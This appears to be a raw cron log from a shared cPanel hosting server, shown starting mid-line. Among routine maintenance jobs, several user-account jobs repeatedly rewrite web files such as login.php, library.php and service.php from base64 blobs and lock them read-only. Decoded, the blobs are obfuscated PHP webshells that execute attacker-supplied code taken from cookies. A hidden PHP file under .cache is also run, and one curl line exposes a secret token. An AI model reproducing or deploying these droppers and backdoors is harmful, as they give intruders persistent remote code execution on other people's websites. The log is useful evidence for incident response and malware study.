c3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:28:01 medusa CROND[8547]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:28:01 medusa CROND[8548]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 05:29:01 medusa CROND[14404]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:29:01 medusa CROND[14405]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:29:01 medusa CROND[14406]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 05:29:01 medusa CROND[14433]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 05:29:01 medusa CROND[14434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:29:01 medusa CROND[14435]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:29:01 medusa CROND[14445]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:29:01 medusa CROND[14446]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:29:01 medusa CROND[14447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:29:01 medusa CROND[14448]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:29:01 medusa CROND[14450]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:29:01 medusa CROND[14454]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:29:01 medusa CROND[14455]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:30:01 medusa CROND[20366]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:30:01 medusa CROND[20379]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 05:30:01 medusa CROND[20395]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 05:30:01 medusa CROND[20398]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 05:30:01 medusa CROND[20410]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 05:30:02 medusa CROND[20653]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 05:30:02 medusa CROND[20657]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 05:30:02 medusa CROND[20661]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 05:30:02 medusa CROND[20669]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Apr 19 05:30:02 medusa CROND[20672]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:30:02 medusa CROND[20676]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:30:02 medusa CROND[20665]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 05:30:02 medusa CROND[20677]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:30:02 medusa CROND[20682]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 05:30:02 medusa CROND[20674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:30:02 medusa CROND[20678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:30:02 medusa CROND[20663]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 05:30:02 medusa CROND[20664]: (root) CMD (/nutscripts/wp-toolkit.sh > /dev/null 2>&1)
Apr 19 05:30:02 medusa CROND[20687]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 05:30:02 medusa CROND[20690]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:30:02 medusa CROND[20693]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 05:30:02 medusa CROND[20694]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:30:02 medusa CROND[20696]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Apr 19 05:30:02 medusa CROND[20700]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:30:02 medusa CROND[20701]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:30:02 medusa CROND[20699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 05:30:02 medusa CROND[20706]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:30:02 medusa CROND[20708]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 05:30:02 medusa CROND[20710]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:30:02 medusa CROND[20673]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 05:30:02 medusa CROND[20715]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 05:30:02 medusa CROND[20717]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
